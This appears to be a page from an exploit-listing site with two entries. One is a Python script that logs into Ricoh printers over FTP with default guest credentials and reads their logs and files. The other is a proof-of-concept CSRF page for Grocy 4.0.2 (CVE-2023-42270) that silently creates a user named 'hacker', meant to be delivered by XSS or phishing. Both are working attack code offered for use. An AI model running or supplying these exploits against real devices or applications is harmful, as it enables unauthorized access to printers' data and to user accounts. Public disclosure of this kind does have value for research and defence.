Latest exploits :: CodePwn

<pre><code>#Exploit Title: Ricoh Printer Directory and File Exposure #Date: 9/15/2023 #Exploit Author: Thomas Heverin (Heverin Hacker) #Vendor Homepage: https://www.ricoh.com/products/printers-and-copiers #Software Link: https://replit.com/@HeverinHacker/Ricoh-Printer-Directory-and-File-Finder#main.py #Version: Ricoh Printers - All Versions #Tested on: Windows #CVE: N/A #Directories Found: Help, Info (Printer Information), Prnlog (Print Log), Stat (Statistics) and Syslog (System Log) from ftplib import FTP def ftp_connect(ip): try: ftp = FTP(ip) ftp.login("guest", "guest") print(f"Connected to {ip} over FTP as 'guest'") return ftp except Exception as e: print(f"Failed to connect to {ip} over FTP: {e}") return None if __name__ == "__main__": target_ip = input("Enter the Ricoh Printer IP address: ") ftp_connection = ftp_connect(target_ip) if ftp_connection: try: while True: file_list = ftp_connection.nlst() print("List of Ricoh printer files and directories:") for index, item in enumerate(file_list, start=1): print(f"{index}. {item}") file_index = int(input("Enter the printer index of the file to read (1-based), or enter 0 to exit: ")) - 1 if file_index < 0: break if 0 <= file_index < len(file_list): selected_file = file_list[file_index] lines = [] ftp_connection.retrlines("RETR " + selected_file, lines.append) print(f"Contents of '{selected_file}':") for line in lines: print(line) else: print("Invalid file index.") except Exception as e: print(f"Failed to perform operation: {e}") finally: ftp_connection.quit() </code></pre>

<pre><code># Exploit Title: Grocy <= 4.0.2 CSRF Vulnerability # Application: Grocy # Version: <= 4.0.2 # Date: 09/21/2023 # Exploit Author: Chance Proctor # Vendor Homepage: https://grocy.info/ # Software Link: https://github.com/grocy/grocy # Tested on: Linux # CVE : CVE-2023-42270 Overview ================================================== When creating a new user in Grocy 4.0.2, the new user request is made using JSON formatting. This makes it easy to adjust your request since it is a known format. There is also no CSRF Token or other methods of verification in place to verify where the request is coming from. This allows for html code to generate a new user as long as the target is logged in and has Create User Permissions. Proof of Concept ================================================== Host the following html code via a XSS or delivery via a phishing campaign: <html> <form action="/api/users" method="post" enctype="application/x-www-form-urlencoded"> <input name='username' value='hacker' type='hidden'> <input name='password' value='test' type='hidden'> <input type=submit> </form> <script> history.pushState('','', '/'); document.forms[0].submit(); </script> </html> If a user is logged into the Grocy Webapp at time of execution, a new user will be created in the app with the following credentials Username: hacker Password: test Note: In order for this to work, the target must have Create User Permissions. This is enabled by default. Proof of Exploit/Reproduce ================================================== http://xploit.sh/posts/cve-2023-42270/ </code></pre>